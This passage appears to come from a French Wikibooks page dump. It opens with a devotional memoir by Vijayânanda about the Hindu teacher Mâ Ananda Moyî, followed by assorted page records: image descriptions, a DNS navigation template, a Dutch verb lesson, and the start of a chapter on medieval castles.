plus touchante aussi; elle était particulièrement naturelle et humaine ... suprêmement humaine. ===Sa personnalité=== Si j'emploie le terme de « personnalité », c'est plutôt en tant que concession au langage commun que dans son sens véritable. Car pour avoir une personnalité il faut aussi avoir un sens de l'ego, chose tout à fait absente chez Shrî Mâ Ananda Moyî. Aussi il s'agit donc de décrire ici plutôt une personnalité apparente, c'est-à-dire telle qu'elle semble être du point de vue d'un spectateur encore immergé dans la dualité. Mais, là encore, la chose n'est pas aussi simple qu'il paraît à première vue, car l'impersonnel, quand il prend l'aspect d'une personne, varie selon le spectateur qui inconsciemment lui impose ses limitations, qu'il a tirées de ses aspirations conscientes ou subconscientes. Autrement dit, il ne s'agit pas de décrire ici la personnalité apparente de Mâ Ananda Moyî d'une manière objective - ce qui est impossible -, mais telle qu'elle est apparue sous l'angle de la vision de celui qui écrit ces lignes. Ainsi donc, imaginez une dame ayant passé les quatre-vingts ans (mais qui paraît beaucoup plus jeune), aux longs cheveux noirs tombant sur les épaules à moins qu'ils ne soient roulés en un gracieux chignon au sommet de la tête, et qui est presque toujours vêtue d'un sârî blanc impeccablement propre. Dire que cette femme est encore belle serait faire offense à celle qui insistait tant sur l'évanescence des choses d'ici-bas. Toujours est-il que jadis (des photos en font foi, ainsi que mes souvenirs), son extraordinaire beauté évoquait la beauté de l'au-delà. C'est pour cela peut-être que ses intimes - qui comme beaucoup d'hindous pensent que la beauté physique est un des attributs du divin quand il descend sur terre - ont vu en elle l'incarnation de la Mère Divine. Mais il y a quelque chose de remarquable dans ce visage fin et aristocratique aux yeux qui vous regardent droit en face. Ce n'est pas seulement son regard que personne à ma connaissance n'a pu soutenir longtemps sans baisser la tête; car il exprimait une douceur où il n'y avait pas la moindre trace de faiblesse ou de compromis et évoquait cette immuable conscience qui est la source et le but de toutes nos aspirations, mais aussi la terreur de notre ego. Ce n'est pas non plus seulement l'expression volontaire de la lèvre inférieure qui révélait une énergie indomptable et formait un contraste remarquable dans ce visage spécifiquement féminin. Je veux parler d'autre chose. Dès mes premiers contacts avec Mâ, j'ai été frappé par son extraordinaire faculté à modifier les traits de son visage. Quelquefois il semblait que - par une sorte de mimétisme - elle s'identifiait à son interlocuteur. D'autres fois, comme si elle avait deviné en un clin d'œil la note affective fondamentale d'un fidèle, elle lui apparaissait sous l'aspect qui lui était le plus cher. Quelquefois je lui ai vu prendre l'aspect d'une jeune fille de vingt ans à la radieuse beauté, puis un quart d'heure plus tard le visage tiré et fatigué d'une femme âgée, ou bien l'expression virile d'un homme d'âge mûr, et d'autres fois encore le visage, les gestes et le rire argentin d'un enfant. Elle parlait souvent, sans économiser les mots. Sa voix au timbre musical cadrait bien dans l'ensemble de cette personnalité où tout était harmonie. Pour ceux « qui ont des oreilles pour entendre » elle ne disait que quelques rares paroles dont chacune avait une valeur profonde qu'il fallait savoir peser. Pour d'autres, elle parlait parfois avec une grande abondance de mots. Elle n'avait reçu qu'une éducation primaire élémentaire et pourtant elle discutait avec les grands pandit de Bénarès sur les sujets métaphysiques les plus ardus. En quelques mots simples, elle savait dénouer les problèmes philosophiques les plus emmêlés et souvent ses réponses entraînaient une conviction comme s'ils s'agissait d'un fait évident, car sa sagesse n'était pas pensée dans les livres mais venait d'une vision directe de la vérité. Mais ce qui frappait avant tout dans la personnalité de Mâ Ananda Moyî, c'était son rayonnement d'amour, un amour pur et lumineux qui ennoblit tout ce qu'il touche, qui le divinise, et qui donne une valeur nouvelle aux individus et aux choses. Mais mieux que cela encore, elle connaissait le moyen, par je ne sais quelle alchimie mystérieuse, d'ouvrir la fontaine d'amour divin qui est en nous-même. Et pour ceux qui ont été touchés par sa grâce, le chemin spirituel devient facile car elle leur a donné les ailes de l'Amour divin, sans lequel même le vichâra-marga (la voie de la connaissance) n'est qu'une stérile gymnastique intellectuelle. Un autre point saillant de la personnalité de ce Grand Etre était son sens psychologique extrêmement affiné et son extraordinaire habileté à manier les humains. Elle savait quand elle le voulait tirer à sa guise les ficelles des marionnettes humaines que nous sommes. Mais les ficelles répondaient à une main qui connaissait la compassion divine et qui voulait transformer les pantins en êtres libres et conscients. Shrî Mâ était née, avait été élevée et continuait à vivre entourée par les rites de l'antique tradition hindoue. Elle les recommandait, les conseillait pour ceux à qui une vie religieuse peut servir d'appui pour des pratiques spirituelles. Mais elle même planait majestueusement au-dessus du rituel comme l'aigle des montagnes regarde se mouvoir les gens de la plaine. Elle ne faisait ni puja, ni méditation, ni pratique religieuse quelle qu'elle soit, à moins que ce ne fût à titre exceptionnel, comme une mère faisant semblant de s'intéresser aux jeux de ses enfants. Elle vivait en effet constamment dans le sahaja-avasthâ et prenait son appui sur le roc immuable de l'Absolu. ===Son enseignement=== Le profane n'est satisfait que s'il a pu classer un grand sage dans une catégorie : celui-là c'est - ou c'était - un bhakta, celui-ci un jnânin, cet autre un karma-yogi, etc. mais le sage qui a atteint le sommet repose sur un terrain où tous les sentiers fusionnent. Et s'il s'appuie sur un chemin pour guider ses disciples, ce sera de préférence (mais pas forcément) celui qu'il aura parcouru pour atteindre le but. Mais Mâ Ananda Moyî - comme elle l'a souvent déclaré elle-même et aussi étrange que cela puisse nous paraître - n'a jamais été dans l'état d'ajnâna (ignorance) et l'état de perfection a toujours été son état naturel. La classer dans une catégorie serait donc une tentative futile. Son enseignement s'adressait à une variété extrême d'individus. Dans son entourage, il y avait des sadhaka pratiquant le vichâra-marga (la voie de la connaissance), des bhakta, des shakta, des karma-yogi; des gens vivant dans le monde et pratiquant une discipline spirituelle, des sâdhu très avancés côtoyant des gens balbutiant le b.a.-ba du chemin spirituel; des hindous, quelques jaïns, des chrétiens et des juifs; des Européens et des Américains. Car elle était avant tout la Mère et ne réservait pas son enseignement seulement à des individus, mais voulait sauver un aussi grand nombre de personnes que possible. Aussi son enseignement était adapté au niveau d'évolution de chaque individu; pour l'adhikari (le sâdhaka arrivé à maturité) elle conseillait le chemin de l'Advaita, aux gens simples, l'adoration d'une image, le japa, etc. Néanmoins, son enseignement verbal se limitait strictement aux données de l'antique tradition hindoue, le sanâtana Dharma, et revenait toujours au concept central de l'Advaita. Elle disait souvent : « Connaître Bhagavan (Dieu), c'est se connaître soi-même, et se connaître soi-même, c'est connaître Dieu ». Son originalité n'était pas dans la nature de son enseignement, mais dans sa manière fraîche, vivante et spontanée de l'exposer. Car ce qu'elle disait, bien qu'en parfait accord avec les Ecritures, n'était pas puisé dans les livres mais était l'expression directe de la Vérité. Son langage était simple, sans mots ronflants. Elle ne faisait pas de discours, mais répondait à des questions posées par des individus. Le ton de la conversation était enjoué; jamais on n'y sentait l'ennui qui transparaît si souvent dans les discussions philosophiques. De temps en temps, une histoire amusante réveillait l'attention de ceux qui n'étaient pas capables de se mettre au niveau d'une discussion philosophique, et une touche d'humour savoureux, ou un éclat de rire cordial, nous rappelait ce qu'elle exposait : le « Gai Savoir ». ===Ses méthodes=== L'enseignement ésotérique ne peut être enfermé dans des mots ni codifié dans des formules, car c'est une chose vivante qui varie avec les individus et les circonstances. Aussi l'enseignement verbal d'un sage est loin d'être l'essentiel dans son rôle de guide spirituel, de gourou. Mais Shrî Mâ était-elle réellement un gourou ? Elle ne donnait pas d'initiation officielle, c'est à-dire de transmission d'un mantra avec le rituel qui l'accompagne. Aussi, si l'on s'en tient au ritualisme traditionnel, personne (à la seule exception de son mari) ne peut prétendre être son disciple. Quand une semblable initiation était nécessaire ou demandée, elle la confiait souvent à sa mère, Didimâ, qui avait pris les vœux de sannyâsa, ou bien envoyait l'aspirant à un autre gourou. Mais, au cours des dernières années, l'initiation était donnée par des brahmachârins de l'âshram, en présence de Mâ. En effet, pour jouer le rôle de gourou, un reste d'ego doit persister, chose totalement absente en ce qui concernait Shrî Mâ. Pourtant, un nombre considérable d'individus recevait d'elle des instructions régulières en ce qui concerne leurs pratiques spirituelles. Et si elle ne donnait pas de dîkshâ officielle, elle transmettait le pouvoir spirituel, et c'est cela la véritable initiation. Les gens qu'elle guidait étaient dirigés vers l'épanouissement de leurs propres tendances spirituelles et non selon une ligne imposée par le gourou. Aussi l'on ne peut pas dire que Shrî Mâ avait des méthodes et des techniques qui lui étaient propres. Pourtant, elle utilisait une « technique » (si j'ose employer ce terme) qui la caractérisait et donnait un cachet spécial à son enseignement. Dès les premiers contacts avec Mâ Ananda Moyî, on ne pouvait pas manquer d'être frappé par son extraordinaire pouvoir d'attirer les cœurs. Elle savait d'emblée reconnaître la note affective dominante de ceux qui l'approchaient, et, entrant dans le jeu, elle devenait en quelque sorte celle ou celui qui comble le vide de leur cœur. A certains, elle apparaissait comme une mère, à d'autres comme une amie, à d'autres encore comme une enfant. « Je suis votre petite fille », disait-elle souvent aux personnes d'âge mûr qui venaient la voir. Elle formait ainsi un lien d'amour avec ceux qui étaient venu chercher refuge à ses pieds. Ce lien est souvent très puissant et devant lui les attractions mondaines se flétrissent une à une. Car cet amour pur et lumineux donne une joie qu'aucun plaisir du monde ne peut égaler. Et cet amour, elle le dirigeait vers le Divin, car il venait du Divin. ===Dans la vie de tous les jours=== « Une activité intense, et au milieu de cette activité, le calme éternel »: c'est ainsi que l'on pourrait définir l'attitude de Shrî Mâ dans la vie courante. L'organisation qui porte son nom et qu'elle dirigeait comprend près de trente âshram, ainsi que des constructions faites à l'usage de Mâ dans des maisons privées. Elle restait rarement plus d'un mois au même endroit. Sans cesse elle voyageait, comme le faisaient jadis le Bouddha ou Shankarâchârya, et allait porter la bonne parole, son amour rayonnant à ceux qui en avaient besoin. Partout des foules - quelquefois immenses - venaient se presser pour avoir son darshan. Mais, pour elle, ce n'étaient pas des foules anonymes, car dans chaque individu elle savait reconnaître le Divin. Personne ne lui était indifférent, et tous ceux qui l'approchaient recevaient quelque chose de cette manne divine, dans la mesure où il était capable de l'absorber. Quand elle voyageait - et cela arrivait très souvent -, elle était accompagnée d'un nombre plus ou moins grand de sâdhu et de brahmachârin. Il y avait le bruit et l'agitation des gares, la foule qui se pressait devant son compartiment à presque chaque station, des gens qui s'énervent, d'autres qui s'affolent, la fatigue des nuits passées dans le train, mais pour elle toujours ce sourire qui repose dans l'infini... et le grand calme éternel. Ses journées étaient parfois tellement chargées qu'on se demandait comment un être humain (mais était-elle bien un être humain ?) - fût-il même génial - pouvait être capable de contenir tout cela sans broncher. Un jour, c'était l'inauguration d'un temple ou une grande fête religieuse (Durgâ-pûjâ, Shivârâtri, etc.) qu'elle présidait; une autre fois, elle était invitée par un mahâtmâ et se pliait à un programme surchargé; ou bien c'était un bhâgavata-sapta ou encore le samyam-sapta annuel, à moins que ce ne fût les fatiguantes cérémonies à l'occasion de son anniversaire, et que de choses encore. Jamais vous ne pouviez la voir perdre son sang-froid, ne serait-ce que l'espace d'une seconde, ni même s'énerver, et elle témoignait toujours d'une infinie douceur et d'une infinie bonté. Souvent, elle passait une quinzaine de jours ou plus dans l'un de ses âshram, que ce soit Bénarès ou Vrindâvan, Dehra-Dûn ou Calcutta. Certains sont d'imposantes constructions avec des dépendances, et tous sont habités par des sannyâsin ou des brahmachârin, car une chasteté absolue est une condition sine qua non pour être admis dans l'un quelconque de ces âshram. Mais elle n'y prenait aucun repos, et même quand il arrivait, à de rares intervalles, ce repos n'était que relatif car il y avait toujours cet énorme courrier auquel il fallait répondre, les problèmes de l'âshram, le darshan pour les visiteurs, etc. Qu'une personne puisse supporter sans fatigue apparente une activité aussi intense est étonnant, mais ce qui l'est encore plus, c'est que non seulement elle s'occupait des plus minutieux détails, mais que tout ce qu'elle faisait portait la marque de la perfection. Que ce soit les détails d'une pûjâ qu'elle arrangeait, ou des instructions pour la construction d'un temple ou d'un âshram, ou bien tout simplement un plat délicieux, qu'elle préparait elle-même. Jamais il ne lui arrivait d'oublier quelqu'un, même quand les foules représentaient des milliers de personnes. Un visiteur qui rentrait chez lui était reçu pour les adieux au moment exact; une entrevue privée demandée était octroyée à une heure favorable, etc. Elle semblait pleinement identifiée à chaque circonstance, et vivait intensément dans le moment présent. Chaque individu qui avait une requête recevait une attention totale comme si lui seul existait à ce moment-là. Si quelqu'un était en difficulté elle était entièrement présente pour résoudre ses problèmes. Ainsi elle nous démontrait que dans la vie de tous les jours on peut jouer le jeu de l'activité à la perfection tout en reposant dans le Suprême. Mâ a quitté son corps physique, mais sa présence est toujours en nous. Ceux qui ont été touchés par sa grâce ne pourront jamais l'oublier. ==Chapitre II : Visages de Mâ== ===Ma première impression=== C'est une tâche difficile que d'essayer de donner à un lecteur seulement curieux, si ce n'est indifférent, une idée de ce qui est pour vous le plus précieux, le joyau des joyaux. On doit éviter deux dangers : le premier c'est de donner libre cours à son cœur, d'écrire un compte rendu si enthousiaste, si extravagant que le lecteur a l'impression de se trouver devant un déséquilibré mental, ou au moins un trop grand sentimental, et en conséquence il parcourra l'article avec un sourire rempli de commisération et d'ironie. L'autre danger serait de s'obliger à rester complètement froid et détaché, d'écrire comme un observateur impartial. Ce serait même pire, car l'on ne peut parler d'elle, l'incarnation même de l'Amour divin, comme si l'on traitait d'un problème scientifique. C'est pourquoi j'essaierai de contenir mon cœur, sans pour autant le réduire à un complet silence. Il n'est pas très heureux de parler de soi-même, mais tout ce que je peux faire, c'est relater l'histoire, la manière dont je suis entré en contact avec Mâ. Il est en effet impossible de la décrire objectivement; elle est différente pour chacun d'entre nous. « Je suis tout ce que vous pensez que je suis », a-t-elle dit souvent. C'était dans la soirée du 2 février 1951, aux environs de six heures, que je la vis pour la première fois dans son âshram de Bénarès. Après avoir pris « provisoirement » un remplaçant pour mon cabinet de médecin, j'ai quitté la France en quête d'un guide spirituel appartenant à ce pays qui a illuminé le monde depuis des temps immémoriaux. J'avais commencé par poser le pied sur le sol de la Ceylan bouddhiste, puis j'étais remonté sur la côte est de l'Inde, étais arrivé à Bénarès la veille. Fatigué et déçu, presque convaincu que j'avais voyagé en vain, déterminé à rentrer en France, j'avais déjà réservé une place sur La Marseillaise qui devait quitter Colombo le 21 février. On me demande souvent quelle a été ma première impression de Mâ, ce qui m'a décidé à tout quitter - famille, amis, profession et richesses - pour la suivre; pourquoi l'ai-je effectivement suivie comme une ombre ces onze derniers mois; pourquoi, bien que ne comprenant pas ce qu'elle disait, je passais des heures à ses pieds sans la quitter des yeux. Il est très difficile de répondre à ces questions. Non pas que le langage manque de mots, mais parce qu'un même mot n'a pas la même signification pour des personnes différentes, à moins qu'elles n'aient toutes vécu la sensation correspondant à ce mot. Ainsi l'on peut bien, à l'aide de comparaisons, essayer de faire saisir à un petit Français ce qu'est exactement la saveur de la mangue. Même en y passant des heures, il ne s'en fera qu'une idée très vague, et aussi, selon toute probabilité, fausse. Après toutes ces réserves préliminaires, je vais maintenant faire un essai. Quelle a été alors ma première impression ? C'était dans la soirée du 2 février, je me trouvais en face d'une femme de cinquante-cinq ans ne faisant pas son âge, toujours belle. Mais ce n'est pas à ce moment-là que j'ai remarqué sa beauté. C'est seulement plus tard que j'en ai vraiment pris conscience. Je la vois encore, fixant ses yeux sur moi, avec ce regard étrange qui paraissait embrasser toute ma destinée. Le même soir, aux environs de dix heures, elle m'accorda un entretien qui dura à peu près vingt minutes. Elle était supposée répondre à mes questions, mais je n'avais rien à demander. Je désirais simplement avoir un contact spirituel. Elle paraissait être la pensée divine incarnée. C'était elle qui posait les questions, claires, précises, allant droit au cœur des choses, soulevant exactement les points qui me touchaient, mais ces mots n'étaient qu'un jeu de surface. Durant ces vingt minutes, elle m'avait infusé quelque chose qui était destiné à durer longtemps, qui dure toujours... Je retournai à l'hôtel Clark après avoir obtenu sa garantie de pouvoir dès le lendemain vivre dans l'âshram. J'étais dans un état étrange. Mon cœur jubilait, débordant d'exaltation et de joie. C'était l'état de celui qui vient de trouver ce à quoi il aspirait ardemment du plus profond de son cœur. Son image ne m'a plus quitté, même la nuit, et le seul fait de penser à elle me remplissait les yeux de larmes. Qu'est-ce qui m'était arrivé exactement ? Mon sens critique, qui avait été submergé à la première vague, se réveilla le troisième ou quatrième jour; « Attention, me dit-il, tu es tombé dans les mains d'une grande magicienne. Elle t'a jeté un sort pour te réduire à l'état d'esclave soumis. » Et je commençais à être sur la défensive, à combattre son influence - plutôt faiblement je l'avoue, car comment peut-on combattre l'Amour ? Il n'est pas de pouvoir au monde plus puissant que celui de l'Amour. Mais quelle sorte d'amour était-ce ? Il n'était pas dirigé vers la femme. Il n'a absolument rien à voir avec l'amour qu'on peut avoir pour une femme. Comme par une étrange alchimie, toutes mes potentialités d'affection, tout ce qu'on peut aimer et admirer dans le monde, tout cela, je l'avais transféré sur elle. Mais en même temps cet amour devint si pur, si sublimé, qu'il se fondit dans l'Absolu, qu'il intensifia grandement l'appel de ce dernier, appel que j'avais toujours ressenti. Tous les attachements du monde perdirent leurs attraits, et l'ascension spirituelle devint plus facile depuis qu'elle m'avait fait don des ailes de l'amour. En une seule et unique personne, tout ce qu'on peut aimer, admirer, respecter et adorer s'identifie avec le sad-guru, le Seigneur; car ces onze mois passés près d'elle m'ont donné la conviction qu'elle est le Seigneur lui-même, incarné dans le corps d'une femme. Je pensais que cet amour (je suis obligé d'employer ce mot à défaut d'un meilleur, bien qu'il n'exprime pas exactement ce pour quoi il est mis) disparaîtrait ou tout au moins s'atténuerait avec le temps. C'est exactement le contraire qui s'est passé; il n'a fait que s'intensifier. Il en va en effet de l'amour comme de ces anciennes cités ensevelies; plus on creuse profond, plus on trouve de merveilles qui apparaissent au grand jour. Une chose m'a frappé dès le tout premier jour, c'est cette atmosphère de miracle dans laquelle on évolue lorsqu'on est avec Mâ. En Europe (et sans doute en Inde aussi), on conçoit par le mot « miracle » un écart, une rupture des lois de la nature, quelque chose qui nous frappe parce qu'impossible, parce qu'absurde. Mais c'est seulement là le côté objectif, grossier des choses. L'aspect subtil, subjectif est bien différent. Que m'importe qu'un certain yogi ait marché sur les eaux, ou volé dans les airs ? Le vrai miracle, c'est quand ce dont on a besoin, ce que nous désirons avec ardeur, ou tiédeur, vient au moment même où nous en avons besoin. Et encore mieux, quand cela arrive, ce n'est pas seulement comme on le désirait, mais comme on aurait aimé le voir venir du plus profond de son cœur. Il m'a semblé avoir été guidé sur un parcours semé d'obstacles par la main de la mère la plus aimante, par une mère toute-puissante. Au fur et à mesure que vous avancez, elle ôte toutes les épines, toutes les pierres du chemin, et, si besoin, vous prend et vous fait traverser dans ses bras. Et toutes les circonstances s'ajustent et s'adaptent d'elles-mêmes avec une précision merveilleuse, sans anicroche. « Coïncidence », ai-je d'abord pensé. Mais une coïncidence qui continue à se répéter quotidiennement ne peut plus être appelée ainsi. Et tout cela se passe sans violer apparemment les lois de la nature, car le Seigneur n'a pas besoin de transgresser les lois, Il est la Loi. Devrai-je donner des exemples ? Non, car ceux qui ont vécu près d'elle ont déjà compris. Elle est comme le Gange, c'est son contact même qui purifie. En sa présence, on s'améliore constamment, non pas par la suppression de ses fautes: la faute elle-même est sublimée et devient une aide pour chercher le Divin, et elle ne semble pas, ou ne veut pas, remarquer les côtés obscurs de l'individu. Elle ne voit que les côtés lumineux, relevés considérablement par sa grâce divine. Tous les jivanmukta (les libérés vivants) donnent dans les grandes lignes le même message; et Mâ Ananda Moyî ne fait pas exception à cette règle. Pourtant, il est un de ses aspects qu'aucun autre sad-guru n'a présenté auparavant, à ma connaissance du moins, excepté peut-être Shrî Krishna : je pense à son pouvoir pour attirer le cœur des humains. Pour certains, et c'est la grande majorité, elle est la Mère pleine d'amour et de tendresse, pour d'autres une amie et une soeur aînée, ou même leur enfant. Pour d'autres, cependant, plus avancés spirituellement, elle est le gourou ou un aspect de Dieu : Durgâ, Krishna, etc. Et ce n'est pas seulement dans l'imagination des bhakta qu'elle représente ces différents aspects, c'est son apparence physique, son comportement, sa voix qui sont de fait transformés et adaptés au rôle qu'elle souhaite jouer. Pour illustrer cela, j'aimerais mentionner un petit incident frappant dont j'ai été le témoin. C'était à l'occasion de la dernière fête de Janmâsthami, à Bénarès. On l'avait habillée comme Shrî Krishna, et nous pouvions aller la voir. J'y allai avec une certaine réserve, une certaine irritation, car je n'aime pas les déguisements, mais lorsque je la vis, je compris qu'il n'était pas question de déguisement. Son visage, bien qu'encore reconnaissable, était totalement transformé. Il était resplendissant d'une divine beauté, d'un calme et d'une douceur vraiment surnaturels. Elle était devenue réellement un avec Shrî Krishna. C'est un exemple parmi mille autres. Ce contact d'amour et d'affection devient en quelque sorte l'appât qui attirera celui qui a la grande chance de la rencontrer, laissant de côté tout attachement aux choses du monde. En effet, il sera transmuté et orienté vers le Divin. Que puis-je ajouter à son sujet ? N'ai-je pas promis de me limiter dans mes effusions ? Peut-être aurais-je mieux fait d'imiter cet ami qui répondit lorsqu'on lui demanda d'écrire un article sur Mâ : « Tout ce que je puis dire, c'est Mâ, Mâ, Mâ. » Puissent ces quelques lignes n'être pas totalement indignes d'elle. Elles n'ont d'autre but que d'être un témoignage humble de l'amour, de la vénération et de la gratitude que je lui voue. ''Non signé, par Vijayânanda (A connu Mâ Ananda Moyî pendant plus de 30 ans)'' ==Liens externes== * [http://fr.wikipedia.org/wiki/Mâ_Ananda_Moyî Mâ Ananda Moyî sur Wikipédia] Image:LSF LettreU.jpg 8237 41759 2006-05-07T16:19:55Z 24.226.168.31 texte de morale Avec qui vous pouvez rire et pleurer mais surtout vous amuser !!! Image:Start Page - Visual C++ 2005 Express Edi--2006-05-07--22-50-34.jpg 8238 41769 2006-05-07T20:58:05Z Zemarcel 1489 Une images pour la section Programmation C++ (débutant)/Notions de base (section) Cette image est libres de droits Une images pour la section Programmation C++ (débutant)/Notions de base (section) Cette image est libres de droits Image:Acceuil visual.jpg 8239 41770 2006-05-07T21:07:32Z Zemarcel 1489 Image:Menu visual.jpg 8240 41771 2006-05-07T21:10:46Z Zemarcel 1489 Image:Essai1 visual.jpg 8241 41772 2006-05-07T21:11:50Z Zemarcel 1489 Image:Taper code visual.jpg 8243 41774 2006-05-07T21:17:27Z Zemarcel 1489 Toki pona - Leçon7: Négations et questions simples 8246 41794 2006-05-08T19:27:03Z Tensai 654 [[Toki pona - Leçon7: Négations et questions simples]] déplacé vers [[Toki pona - Leçon 7: Négations et questions simples]] #REDIRECT [[Toki pona - Leçon 7: Négations et questions simples]] Image:Max-Planck-und-Albert-Einstein.jpg 8247 41798 2006-05-09T01:36:41Z JdH 1495 [[Max Planck]] presents [[Albert Einstein]] with the Max-Planck medal of the German Physical Society, June 28, 1929 in Berlin. source: [http://www.einstein-begreifen.de/presse.html Landesmuseum für Technik und Arbeit in Mannheim] The Landesmuseum fü [[Max Planck]] presents [[Albert Einstein]] with the Max-Planck medal of the German Physical Society, June 28, 1929 in Berlin. source: [http://www.einstein-begreifen.de/presse.html Landesmuseum für Technik und Arbeit in Mannheim] The Landesmuseum für Technik und Arbeit in Mannheim requests that if the picture is used in print to please send them a reprint of your work. See also [http://photos.aip.org/images/catalog/einstein_albert_c29.jsp Emilio Segrè Visual Archives]. ''"Einstein bequeathed his estate--[http://photos.aip.org/einuse.jsp which includes rights to the use of his image, or celebrity rights]--to the Hebrew University of Jerusalem,..."'' {{HistoricPhoto}} Modèle:Système de noms de domaine 8248 46515 2006-06-29T17:16:16Z Teckel 1461 {| style="margin: 0.5em; border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2" align="right" | style="text-align:center;background:#EAF5FB;" | '''[[Système_de_noms_de_domaine|Système de noms de domaine]]''' |- | style="text-align:center;background:#EAF5FB;" | ''[[Département informatique/Bibliothèque|Département Informatique]]'' |- | bgcolor="#EAF5FB" align="center" |'''Sommaire''' |- | bgcolor="white" | * <small> [[Syst%C3%A8me_de_noms_de_domaine/Introduction|Introduction]]{{25}}</small> * <small> [[Syst%C3%A8me_de_noms_de_domaine/Le_modèle_hiérarchique|Le modèle hiérarchique]]{{25}}</small> * <small> [[Syst%C3%A8me_de_noms_de_domaine/Mise_en_oeuvre|Mise en oeuvre]]{{25}}</small> * <small> [[Syst%C3%A8me_de_noms_de_domaine/Extensions|Extensions]]{{25}}</small> * <small> [[Syst%C3%A8me_de_noms_de_domaine/Conclusion|Conclusion]]{{00}}</small> |} Leçon 3: Être et avoir (néerlandais) 8253 41834 2006-05-09T18:38:07Z Teckel 1461 zijn (être) * ik ben * je bent * hij/ zij is * wij zijn * jullie zijn * zij zijn Image:MaPhoto.png 8257 41871 2006-05-10T13:46:50Z Fyoula 1322 Ma Photo Ma Photo Image:Ttp2.JPG 8258 41885 2006-05-10T14:07:39Z Fyoula 1322 Image:Ttp3.JPG 8259 41886 2006-05-10T14:08:46Z Fyoula 1322 Image:Ttp2.jpg 8260 41888 2006-05-10T14:23:12Z Fyoula 1322 T P T P Image:Ttp3.jpg 8261 41891 2006-05-10T14:26:18Z Fyoula 1322 T P T P Image:Maphoto.png 8262 41892 2006-05-10T14:27:38Z Fyoula 1322 Ma photo Ma photo Image:Ttp4.jpg 8263 41893 2006-05-10T14:29:05Z Fyoula 1322 Histoire de la France médiévale:chapitre 9 8266 41905 2006-05-10T18:37:07Z Urban 886 + image [[Image:Donjonvuegénérale.jpg|thumb|400px|Le donjon de Château-Gaillard (fin XIIe siècle), en Normandie]] =Sources= ==Textes== *narratifs : le plus célèbre est sans doute celui de Lambert d’Ardres qui décrit l’organisation interne d’un donjon. Sa ''Chronique des comtes de Guines et d’Ardres'' décrit la résidence fortifiée d’un seigneur du Boulonnais, construite vers 1120. *chartes ==Iconographie== *la tapisserie de Bayeux (mais attention aux conventions et aux codes artistiques qui trahissent la réalité) ==Archéologie== L’apport de l'archéologie, aidée par la reconnaissance aérienne (en particulier pour les mottes castrales), est d'un apport précieux pour comprendre les châteaux forts =Définitions et vocabulaire= Le mot "château" désigne une ''résidence fortifiée d’un homme et de sa mesnie''<ref> Jean-Pierre Babelon (dir.), Le château en France, page 15</ref>. Le château se définit plus par un critère social (la résidence, permanente ou temporaire, de la famille châtelaine) que par une description architecturale. Cependant, le château se distingue de la maison forte (''firmitas'' des hobereaux) par ses dimensions et ses fortifications plus importantes. Le château est l’instrument et le symbole du pouvoir local : il permet d’asseoir l’autorité d’un sire sur une population. Dans cette acception, les premiers châteaux apparaissent à la fin de l'époque carolingienne. Les ressources documentaires médiévales utilisent un vocable divers et relativement flou pour désigner les châteaux : le ''castrum'' (''castra'' au pluriel) se confond avec le ''castellum'' (''castella'') pour décrire un lieu fortifié. =Comment sont apparus les premiers châteaux ?= Au IXe siècle, l'édit de Pîtres encourage la construction de forteresse pour faire face aux invasions scandinaves qui menacent la Francie occidentale. La multiplication des châteaux répond à un contexte d’insécurité : raids vikings et sarrasins puis violences de petits seigneurs brigands menacent les paysans et leurs récoltes. Ces châteaux sont d'abord sous l'autorité des comtes et des ducs, qui sont les délégués du roi dans les régions. Ces représentants se constituent des principautés autonomes et confient leurs forteresses à des délégués (vicomtes, viguiers, centeniers, officiers châtelains). Aux XI{{e}} et XII{{e}} siècles, ces derniers usurpent les prérogatives publiques (rendre la justice, lever une armée, collecter les impôts). Les partages successoraux accentuent l'émiettement du pouvoir. Ils font construire, de manière illégale, des châteaux : à la fin du XIIe siècle, on en comptait environ 150 en Provence, 130 en Catalogne, 110 en Picardie<ref> Robert FOSSIER, ''Enfance de l’Europe''…, page 403</ref>. Cependant, il faut bien noter que l’effacement de l’autorité publique, incarnée par le roi ou le comte, s’est faite selon des rythmes et des intensités différents : *Dans certaines régions (Centre de la Francie, Bourgogne, Lorraine, Provence, Languedoc, …), l’effacement de l’autorité publique a été précoce et profond. Dès la deuxième moitié du X{{e}} siècle<ref> Robert FOSSIER, ''Enfance de l’Europe''…, page 380</ref>, les viguiers et les alleutiers s’emparent ou reçoivent le ban. L’apogée de la seigneurie châtelaine se situe entre 1030 et 1080. Georges Duby a particulièrement étudié le Mâconnais. *D’autres régions sont mieux tenues par les princes ou les rois (Normandie, Flandre, …). Les châteaux restent contrôlés par eux ou leurs familiers, sauf pendant les crises. Ainsi, le comte de Flandre interdit dès la fin du X{{e}} siècle la construction de forteresses sans son autorisation<ref> Robert FOSSIER, ''Enfance de l’Europe''…, page 384</ref>. Le cas normand est plus complexe : le duc confie les vicomtés à des agents fidèles. Les vicomtes normands s’occupaient de la justice, des impôts et de l’armée ; ils séjournaient souvent à la cour ducale et rendaient des comptes au prince. Mais à la faveur des crises de succession (mort de Guillaume Le Conquérant en 1087), les seigneurs et les vicomtes en profitent pour devenir autonomes. Les guerres privées sont alors courantes. En 1107, Henri I{{er}} doit réaffirmer l’interdiction d’édifier des tours fortes sans son accord<ref>Michel de Boüard (dir.), ''Histoire de la Normandie'', Toulouse, Privat, 2001, page144</ref>. =Evolution des modèles de châteaux forts= ==Les mottes castrales== On les appelle aussi «château à motte et basse-cour»<ref>Gauvard (dir.), ''Dictionnaire du Moyen Âge'', page 275</ref>). Il s'agit d'un habitat fortifié très courant au Moyen Âge, construit sur un tertre de 10 à 60 mètres de hauteur<ref>Gauvard (dir.), ''Dictionnaire du Moyen Âge'', page 275</ref>. Leur pente est plutôt raide. Bâties en terre et en bois selon des plans variés, elles sont soumises aux intempéries (les palissades pourrissent) et aux incendies. Vers l’An 1000, le bois domine dans les constructions du nord de l’Europe. L’Europe méditerranéenne utilise davantage la pierre. Les premières mottes sont aménagées à la fin de l’époque carolingienne entre Rhin, Escaut et Loire. Les mottes apparaissent plus tardivement dans le nord de l’Europe (XII{{e}} siècle au Danemark) et à l’est de l’Elbe (XIIIe siècle) <ref> Jean-Pierre Babelon (dir.), ''Le château en France'', page 21</ref> La motte castrale est incluse dans un ensemble fortifié plus vaste qui comprend une basse-cour, séparée par un fossé. Le seigneur exigeait de ses paysans qu’ils participent aux travaux car ces derniers savaient construire leur maison : on commençait par tracer le plan au sol, puis on creusait un fossé dont les débris permettaient l’érection d’un rempart de terre. Le monticule en lui-même était élevé par couches successives, par accumulation de matériaux apportés par chariots ou à dos d’homme dans des hottes. Nul besoin d’une main d’œuvre spécialisée pour 